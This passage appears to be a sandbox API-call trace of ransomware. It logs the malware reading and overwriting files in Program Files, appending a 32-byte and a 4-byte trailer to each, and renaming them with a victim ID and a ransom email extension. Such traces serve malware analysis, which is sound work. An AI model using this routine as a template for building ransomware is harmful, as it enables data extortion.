Shared\\THEMES16\\RMNSQUE\\RMNSQUE.ELM", len=0x6e | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\RMNSQUE.ELM") returned 1 [0208.928] GetProcessHeap () returned 0x630000 [0208.928] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4dd0) returned 0x6fe4288 [0208.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\rmnsque\\rmnsque.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0212.880] CloseHandle (hObject=0x4b8) returned 1 [0212.880] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0212.881] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\rmnsque\\rmnsque.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\RMNSQUE.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\rmnsque\\rmnsque.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0224.400] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0224.400] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\RMNSQUE.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11e37, dwReserved0=0xe408c02c, dwReserved1=0x6f0063, cFileName="RMNSQUE.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RMNSQU~1.FIR")) returned 0x6d5280 [0224.401] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0224.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\RMNSQUE.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\rmnsque\\rmnsque.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0224.401] GetProcessHeap () returned 0x630000 [0224.401] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72b84a0 [0224.401] GetProcessHeap () returned 0x630000 [0224.401] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7264620 [0224.401] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.401] ReadFile (in: hFile=0x4bc, lpBuffer=0x72b84a0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b84a0*, lpNumberOfBytesRead=0x3a7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0225.699] GetProcessHeap () returned 0x630000 [0225.699] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176480 [0225.700] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.700] WriteFile (in: hFile=0x4bc, lpBuffer=0x7264620*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7264620*, lpNumberOfBytesWritten=0x3a7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0225.722] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.722] WriteFile (in: hFile=0x4bc, lpBuffer=0x726fa1f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x726fa1f*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.723] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.723] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.723] CloseHandle (hObject=0x4bc) returned 1 [0225.723] GetProcessHeap () returned 0x630000 [0225.723] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7264620 | out: hHeap=0x630000) returned 1 [0225.727] GetProcessHeap () returned 0x630000 [0225.727] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b84a0 | out: hHeap=0x630000) returned 1 [0225.727] GetProcessHeap () returned 0x630000 [0225.727] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176480 | out: hHeap=0x630000) returned 1 [0226.665] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.665] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\RMNSQUE.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c7cf597, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11e5b, dwReserved0=0xc887496, dwReserved1=0x72b8498, cFileName="RMNSQUE.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RMNSQU~1.FIR")) returned 0x6d5200 [0226.665] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0226.665] Sleep (dwMilliseconds=0x1) [0228.716] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\wmpnscfg.exe", len=0x32 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Windows Media Player\\wmpnscfg.exe") returned 1 [0228.717] GetProcessHeap () returned 0x630000 [0228.717] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5150) returned 0x6fe3bb0 [0228.717] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\wmpnscfg.exe" (normalized: "c:\\program files\\windows media player\\wmpnscfg.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.717] Sleep (dwMilliseconds=0x1) [0230.434] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\index.html", len=0x6f | out: pbstr=0x3a7ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\index.html") returned 1 [0230.434] GetProcessHeap () returned 0x630000 [0230.434] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50e0) returned 0x6fe3bb0 [0230.434] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nn-no\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0234.576] CloseHandle (hObject=0x714) returned 1 [0234.576] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0234.576] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nn-no\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nn-no\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0234.577] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0234.577] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9653, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5000 [0234.577] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0234.577] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nn-no\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0234.577] GetProcessHeap () returned 0x630000 [0234.577] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9661) returned 0x717648 [0234.578] GetProcessHeap () returned 0x630000 [0234.578] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9661) returned 0x711d230 [0234.578] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.578] ReadFile (in: hFile=0x714, lpBuffer=0x717648, nNumberOfBytesToRead=0x9640, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717648*, lpNumberOfBytesRead=0x3a7ff0c*=0x9640, lpOverlapped=0x0) returned 1 [0239.343] GetProcessHeap () returned 0x630000 [0239.343] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745bd88 [0239.344] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.344] WriteFile (in: hFile=0x714, lpBuffer=0x711d230*, nNumberOfBytesToWrite=0x9640, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x711d230*, lpNumberOfBytesWritten=0x3a7ff0c*=0x9640, lpOverlapped=0x0) returned 1 [0239.344] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.345] WriteFile (in: hFile=0x714, lpBuffer=0x712686f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x712686f*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0239.345] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.345] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0239.345] CloseHandle (hObject=0x714) returned 1 [0239.345] GetProcessHeap () returned 0x630000 [0239.345] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x711d230 | out: hHeap=0x630000) returned 1 [0239.345] GetProcessHeap () returned 0x630000 [0239.345] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717648 | out: hHeap=0x630000) returned 1 [0239.345] GetProcessHeap () returned 0x630000 [0239.345] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745bd88 | out: hHeap=0x630000) returned 1 [0239.345] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0239.345] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x549cec9e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9677, dwReserved0=0xc887496, dwReserved1=0x717640, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d53c0 [0239.346] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0239.346] Sleep (dwMilliseconds=0x1) [0241.295] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\StickySelection.scale-100.png", len=0x7c | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\StickySelection.scale-100.png") returned 1 [0241.295] GetProcessHeap () returned 0x630000 [0241.295] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5390) returned 0x6fe3bb0 [0241.295] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\StickySelection.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\stickyselection.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.321] Sleep (dwMilliseconds=0x1) [0241.341] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\settle.scale-100.png", len=0x73 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\settle.scale-100.png") returned 1 [0241.341] GetProcessHeap () returned 0x630000 [0241.345] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5384) returned 0x6fe3bb0 [0241.345] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\settle.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\settle.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.353] Sleep (dwMilliseconds=0x1) [0241.364] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\PlaneCutKeepTop.scale-100.png", len=0x7c | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\PlaneCutKeepTop.scale-100.png") returned 1 [0241.364] GetProcessHeap () returned 0x630000 [0241.364] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x535c) returned 0x6fe3bb0 [0241.364] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\PlaneCutKeepTop.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\planecutkeeptop.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.367] Sleep (dwMilliseconds=0x1) [0241.387] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\NewScene.scale-100.png", len=0x75 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\NewScene.scale-100.png") returned 1 [0241.387] GetProcessHeap () returned 0x630000 [0241.387] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5348) returned 0x6fe3bb0 [0241.387] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\NewScene.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\newscene.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.393] Sleep (dwMilliseconds=0x1) [0241.412] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\BooleanSubtract.scale-100.png", len=0x7c | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\BooleanSubtract.scale-100.png") returned 1 [0241.412] GetProcessHeap () returned 0x630000 [0241.412] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5324) returned 0x6fe3bb0 [0241.413] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\BooleanSubtract.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\booleansubtract.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.416] Sleep (dwMilliseconds=0x1) [0243.072] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.targetsize-256.png", len=0x82 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.targetsize-256.png") returned 1 [0243.072] GetProcessHeap () returned 0x630000 [0243.072] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x544c) returned 0x6fe3bb0 [0243.072] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\money_logosmall.targetsize-256.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.073] Sleep (dwMilliseconds=0x1) [0243.085] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_LogoSmall.targetsize-48.png", len=0x90 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_LogoSmall.targetsize-48.png") returned 1 [0243.085] GetProcessHeap () returned 0x630000 [0243.085] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5428) returned 0x6fe3bb0 [0243.085] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_LogoSmall.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\money_logosmall.targetsize-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.085] Sleep (dwMilliseconds=0x1) [0243.109] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\smalllogo.scale-100.png", len=0x71 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\smalllogo.scale-100.png") returned 1 [0243.109] GetProcessHeap () returned 0x630000 [0243.109] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53d4) returned 0x6fe3bb0 [0243.109] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\smalllogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\smalllogo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.120] Sleep (dwMilliseconds=0x1) [0243.142] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js", len=0x79 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js") returned 1 [0243.142] GetProcessHeap () returned 0x630000 [0243.142] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5384) returned 0x6fe3bb0 [0243.142] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.156] Sleep (dwMilliseconds=0x1) [0243.162] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common\\ReadMe.txt", len=0x62 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common\\ReadMe.txt") returned 1 [0243.162] GetProcessHeap () returned 0x630000 [0243.162] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5340) returned 0x6fe3bb0 [0243.163] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common\\ReadMe.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\common\\readme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 